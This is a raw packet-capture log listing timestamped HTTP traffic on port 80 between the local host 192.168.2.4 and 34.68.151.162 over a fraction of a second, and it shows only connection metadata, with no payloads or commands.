May 10, 2024 09:20:58.233439922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233443022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233454943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233463049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233469009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233479023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233481884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233500004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233500957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233511925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233522892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233525038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233534098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233546019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233557940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233560085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233571053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233582973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233587027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233594894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233603001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233608961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233618021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233620882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233633041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233640909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233644962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233656883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233664989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233669043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233680964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233683109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233691931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233700037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233702898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233715057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233721972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233726978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233738899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233745098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233751059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233761072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233762980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233774900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233783007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233788013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233799934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233807087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233812094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233823061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233824015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233836889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233848095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233848095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233860016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233870029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233872890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233884096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233887911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233901024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233906984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233913898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233926058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233937025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233937979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233951092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233954906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233964920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233971119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.233978033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233989954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.233994007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234002113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234014034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234018087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234025955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234031916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234039068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234050035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234061003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234062910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234076023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234086037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234090090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234102964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234105110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234117031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234117031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234136105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234139919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234149933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234158993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234163046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234170914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234175920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234186888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234189034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234201908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234203100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234214067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234224081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234229088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234241962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234247923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234253883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234267950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234272957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234282017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234289885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234293938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234307051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234312057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234319925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234332085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234334946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234344959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234350920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234359026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234371901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234375954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234385014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234395981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234397888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234407902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234411955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234421015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234432936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234433889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234447956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234452009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234460115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234472036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234472990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234483957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234496117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234504938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234508038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234519958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234528065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234533072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234543085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234545946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234558105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234564066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234571934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234585047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234591961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234597921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234605074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234611034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234625101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234630108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234636068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234647989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234652996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234659910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234666109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234672070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234687090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234698057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234702110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234710932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234721899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234721899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234734058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234735012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234746933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234755993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234760046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234771967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234780073 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234783888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234795094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234797001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234807014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234818935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234818935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234833002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234841108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234844923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234854937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234858036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234872103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234877110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234884977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234896898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234905005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234910011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234922886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234927893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234935045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234946966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234956026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234960079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234972000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234977961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234983921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.234992981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.234997034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235008001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235017061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235021114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235033989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235040903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235048056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235054970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235059977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235071898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235079050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235083103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235094070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235102892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235105991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235116005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235120058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235131979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235138893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235143900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235155106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235165119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235167027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235178947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235179901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235193014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235196114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235204935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235215902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235218048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235228062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235239983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235243082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235253096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235265017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235265017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235276937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235281944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235290051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235295057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235302925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235317945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235320091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235331059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235342979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235346079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235354900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235363007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235367060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235378981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235387087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235390902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235400915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235403061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235414982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235424042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235425949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235439062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235447884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235450029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235461950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235462904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235476017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235482931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235487938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235500097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235507965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235512018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235522985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235524893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235538006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235544920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235549927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235562086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235569000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235574961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235584974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235588074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235599995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235609055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235610962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235622883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235630989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235635996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235645056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235647917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235660076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235667944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235675097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235687017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235690117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235699892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235713005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235717058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235726118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235738039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235739946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235750914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235755920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235764027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235775948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235779047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235788107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235800028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235805035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235812902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235825062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235831976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235836983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235846996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235850096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235862017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235871077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235874891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235888004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235896111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235902071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235909939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235914946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235928059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235940933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235949993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235954046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235965967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235970974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235977888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.235987902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.235991001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236004114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236011028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.236016035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236027956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236037016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.236042023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236053944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.236057043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236068010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.236071110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236083984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236090899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.236097097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236114025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236124039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.236124039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.236128092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236135960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.236141920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236150980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.236155033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.236166000 CEST	49754	80	192.168.2.4	34.68.151.162
